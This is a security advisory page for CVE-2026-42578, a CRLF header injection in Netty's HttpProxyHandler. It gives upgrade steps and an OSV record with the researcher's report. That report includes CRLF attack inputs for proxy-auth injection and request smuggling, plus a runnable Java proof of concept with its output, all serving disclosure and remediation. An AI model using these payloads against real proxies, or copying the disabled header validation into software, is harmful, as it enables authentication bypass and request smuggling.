CVE-2026-42578: Netty handler proxy Netty Has HTTP Header Injection Vulnerability
LOWCVE-2026-42578 is a LOW netty has http header injection vulnerability (CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')) affecting Netty handler proxy libraries in the Maven ecosystem. The issue involves netty has http header injection via httpproxyhandler disabled validation (incomplete fix cve-2025-67735). Remediation is available by upgrading affected packages to version 4.1.133.Final, 4.2.13.Final.
CVE-2026-42578 at a Glance
How to Fix CVE-2026-42578
To remediate this vulnerability, upgrade all affected Netty handler proxy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-handler-proxy</artifactId>
<version>4.1.133.Final</version>
</dependency>
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-handler-proxy</artifactId>
<version>4.2.13.Final</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=io.netty
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2026-42578, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=io.netty
Analyze the terminal output to locate any version of Netty handler proxy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.133.Final), your application is affected.
Note: The mvn dependency:tree -Dincludes=io.netty command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting'), where the product receives data from an http agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes cr and lf characters before the data is included in outgoing http headers. In Netty handler proxy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42578 Affected Netty handler proxy Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
io.netty:netty-handler-proxy
|
Maven |
< 4.1.133.Final
|
4.1.133.Final
|
|
io.netty:netty-handler-proxy
|
Maven |
≥ 4.2.0.Alpha1
< 4.2.13.Final
|
4.2.13.Final
|
References
Frequently Asked Questions
What is CVE-2026-42578?
Which Netty handler proxy versions are affected?
What version fixes CVE-2026-42578?
Is netty-handler-proxy affected?
What CWE is associated with CVE-2026-42578?
How can I check Maven dependencies for CVE-2026-42578?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-45q3-82m4-75jr",
"modified" : "2026-05-14T20:40:54Z",
"published" : "2026-05-07T00:11:40Z",
"aliases" : [ "CVE-2026-42578" ],
"summary" : "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)",
"details" : "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` — `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty's `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n // ...\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n if (authorization != null) {\n req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n }\n\n if (outboundHeaders != null) {\n req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION\n }\n\n return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class — it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput); // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n public static void main(String[] args) {\n System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n .withValidation(false);\n\n FullHttpRequest req = new DefaultFullHttpRequest(\n HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n \"target.com:443\",\n io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n // Inject CRLF in header value\n String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n req.headers().set(\"X-Forwarded-For\", malicious);\n\n // Encode to wire format\n EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n ch.writeOutbound(req);\n ByteBuf out = ch.readOutbound();\n String encoded = out.toString(StandardCharsets.UTF_8);\n out.release();\n ch.finishAndReleaseAll();\n\n System.out.println(\"Wire format:\");\n for (String line : encoded.split(\"\\n\", -1)) {\n System.out.println(\" \" + line.replace(\"\\r\", \"\\\\r\"));\n }\n System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n System.out.println(\"VULNERABLE: \" +\n (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n Header accepted: YES (validation disabled!)\n Wire format:\n CONNECT target.com:443 HTTP/1.1\\r\n host: target.com:443\\r\n X-Forwarded-For: 1.2.3.4\\r\n X-Forwarded-For: 127.0.0.1\\r <-- INJECTED\n X-Admin: true\\r <-- INJECTED\n \\r\n\n Injected X-Admin header in wire: true\n VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n With validation=true:\n SAFE: Rejected - IllegalArgumentException\n With validation=false:\n VULNERABLE: Accepted CRLF in header value!\n Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n for (Map.Entry<String, String> entry : outboundHeaders) {\n HttpUtil.validateHeaderValue(entry.getValue());\n }\n req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix — this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "io.netty:netty-handler-proxy"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.133.Final"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.1.132.Final"
}
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "io.netty:netty-handler-proxy"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.2.0.Alpha1"
}, {
"fixed" : "4.2.13.Final"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.2.12.Final"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
}, {
"type" : "ADVISORY",
"url" : "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/netty/netty"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-113" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T00:11:40Z",
"nvd_published_at" : "2026-05-13T19:17:23Z"
}
}